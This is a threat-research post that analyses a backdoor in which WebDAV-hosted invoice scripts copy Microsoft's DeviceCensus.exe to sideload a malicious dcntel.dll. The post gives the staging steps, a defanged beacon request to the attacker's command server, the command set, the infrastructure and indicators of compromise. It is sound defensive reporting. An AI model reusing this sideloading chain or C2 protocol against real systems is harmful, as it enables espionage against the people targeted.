← whack.sh News

DeviceCensus.exe DLL sideloading: a dcntel.dll backdoor staged from a WebDAV directory

2026-09-25 · Threat Research

An open WebDAV directory on corecloudwave[.]online holds nine one-line Windows command scripts that open a decoy PDF, copy the Microsoft-signed DeviceCensus.exe out of System32 and use it to sideload dcntel.dll, a compact remote shell. The implant reads its server address from a hex-encoded config file and polls the command-and-control server viewpipesync[.]online on port 9090. The server was live at the time of writing on September 25, 2026.

By Daniel Jones, Founder, Tuxxin LLC.

The decoy documents and the targeting, which covers the Pakistan Navy, its suppliers and Pakistani government bodies, are written up in the investigation on tuxxin.com.

MalwareHunterTeam (@malwrhunterteam on X) first flagged the open directory publicly. The analysis of the backdoor, its command server and its protocol is Tuxxin's.

The staging directory

The directory is hxxp://corecloudwave[.]online:7843/documents_more_authority_services/. It is served over WebDAV on port 7843, which lets Windows treat it as a network folder.

The nine scripts are text files named Invoice1.txt to Invoice9.txt.

Each script ends by disconnecting from the WebDAV share, which confirms that victims run it from the share. The email or shortcut that points a victim at the share is still unrecovered.

The same host runs a payload server on port 7925, at hxxps://corecloudwave[.]online:7925/api/portal/resources/viewer/<file>?id=730246.

The directory listing shows a file was removed on September 24.

Each stager opens a different decoy PDF. These are the file names a victim sees in their Temp folder:

  • AMAN 2027 Draft Program.pdf
  • Quotation 2231 DT 15 SEP 26-REV (NRDI).pdf
  • Quotation 2510 DT 15 SEP 26.pdf
  • 0231-26 (DT 08-07-2026).pdf
  • CCC-Helplines-Detail.pdf
  • InformationForm.pdf
  • CandidateInformationForm.pdf

The scripts also name PDA GRC Concept Note - Final.pdf and PDA-Domains.pdf. The server returned a corrupted file for both.

What each stager does

  1. Downloads the decoy PDF from the payload server on port 7925 and opens it, so the victim sees a document.
  2. Creates C:\Users\Public\Documents\EdgeUpdate\.
  3. Downloads dcntel.dll and a small file, edgeupdate.dat.
  4. Copies the genuine, Microsoft-signed C:\Windows\System32\DeviceCensus.exe into the same folder.
  5. Registers a scheduled task named EdgeUpdate that runs that copy every minute.
  6. Marks the folder hidden and system.

Sideloading through DeviceCensus.exe

When the copied DeviceCensus.exe starts, it loads dcntel.dll from its own folder before looking in System32, so it loads the attacker's copy.

The malicious dcntel.dll exports seven functions. Six pass straight through to the real Windows DLL, so the host program runs without visible errors. The seventh, GetCensusRegistryLocation, holds the backdoor.

The implant

dcntel.dll is a 291 KB x64 Windows DLL, compiled on September 16, 2026, and unsigned. Its import hash is af2996d19264a47ecbf8fc76c8a4530a.

On the day it was found, 6 of 75 antivirus engines on VirusTotal flagged it, all with generic machine-learning labels and no family name.

The server address sits outside the DLL, in edgeupdate.dat, as plain hexadecimal that decodes to viewpipesync[.]online:9090.

Beaconing

The implant builds a victim ID from the computer name, user name and process ID, and looks up its own internal IP address. It then polls the server every 10 seconds:

GET hxxps://viewpipesync[.]online:9090/nsearch:<COMPUTERNAME>_<username>-<PID>:10
X-Real-IP: <victim's internal IP>
X-Proxy-Server: direct
User-Agent: Mozilla/5.0

The implant ignores certificate errors. Whatever the server returns is the next command.

Results go back as a POST to the same address, wrapped between CMD.USERBEG_#CMD#_ and .USEREND_#CMD#_CMD.

Commands

CommandEffect
OPEN-SHELL / CLOSE-SHELLStart or stop an interactive cmd.exe session
sleep, jitterChange the beacon timing
SET-IN-LATENCY, SET-OUT-LATENCYChange the poll and reply intervals
SET-LIFEChange the implant's lifetime counter
GET-CONFIGReport settings (default Life=2 InLatency=10s OutLatency=200ms)
QUITExit

File theft, keylogging and any other task outside the command set require the operator to work by hand in the shell.

Infrastructure

corecloudwave[.]onlineviewpipesync[.]online
RoleWebDAV stager (7843) and payload server (7925)Command-and-control (9090)
IP84.200.192[.]684.200.193[.]224 (earlier: 64.111.93[.]196)
HostUltaHost, GermanyUltaHost, Germany
Registered2026-09-19 04:02 UTC, Namecheap2026-09-19 03:57 UTC, Namecheap
TLSLet's Encrypt, September 20Let's Encrypt, September 19 and 22

The two domains were registered five minutes apart. Each sits alone on its own server.

We found no related infrastructure. The operation appears to be a single, purpose-built setup.

Attribution

This report names no group. The targeting (the Pakistan Navy and its supply chain, plus Pakistani government bodies) and the lightweight, disposable infrastructure fit patterns seen in regional espionage in South Asia.

We found no code overlap with a known malware family, and the targeting alone does not identify an actor.

Disclosure

On September 25, 2026, Tuxxin LLC:

  • notified the hosting provider (UltaHost) and the registrar (Namecheap) of both domains,
  • shared indicators with Pakistan's national CERT (PKCERT), and
  • submitted the stager scripts to VirusTotal.

Indicators of compromise

Domains: corecloudwave[.]online, viewpipesync[.]online

IPs: 84.200.192[.]6, 84.200.193[.]224, 64.111.93[.]196

URLs:

hxxp://corecloudwave[.]online:7843/documents_more_authority_services/
hxxps://corecloudwave[.]online:7925/api/portal/resources/viewer/<file>?id=730246

SHA-256:

beb166c564b5bebd6cc43f5cff94d8e50efba777012e5525b41873bb5fa5e10f  dcntel.dll
56eb4c4bcb0c0a208bddb0068c23e46ecf23f7c7feebc8422f3255e1f61ad9ae  edgeupdate.dat
4e40cc31d40e2167da3ebfe96968102da9603c11a382ddf9804e68886cbe1639  Invoice1.txt
0371bdd48791c74dfdac1caaaf3950dd5c3647b63aabc10decccac62277ccda5  Invoice2.txt
e66b610918ebf0fcc38ac21236b0b4e59c045100b57e585128bfaa16c1ab2b5b  Invoice3.txt
842dae97804ecce4ac24a1856c4697d0988fb16d998f7cb56966ada5ad28a2c9  Invoice4.txt
347bb04747d1251c27d4d7cc22fc13a49ab195fd4b96645a65483ab723d73860  Invoice5.txt
029a01524a8c77bae57591da662b1c2ea8020da4494509e6242004d6fbe06bf9  Invoice6.txt
96012c510e6ce30de223a2b21e4e9a6e9ec158a5b92b0af0f5992672c03233e5  Invoice7.txt
96e31d090c28ef043fc568696202bdaf8e966fb24183f69b389342b9fa914f47  Invoice8.txt
5f894557672dc4c30a2d4317108deff54bb9d6a23fe9ee2abc0ec7e094b41690  Invoice9.txt

Import hash of dcntel.dll: af2996d19264a47ecbf8fc76c8a4530a

On the endpoint:

  • Folder C:\Users\Public\Documents\EdgeUpdate\
  • Scheduled task EdgeUpdate with a 1-minute repeat
  • DeviceCensus.exe running from any path outside C:\Windows\System32

On the network: HTTPS to port 9090 with a URL path starting with /nsearch:, or any request carrying X-Proxy-Server: direct.

Detection

whack.sh now detects this kind of malicious staging area.

For coordinated disclosure: [email protected].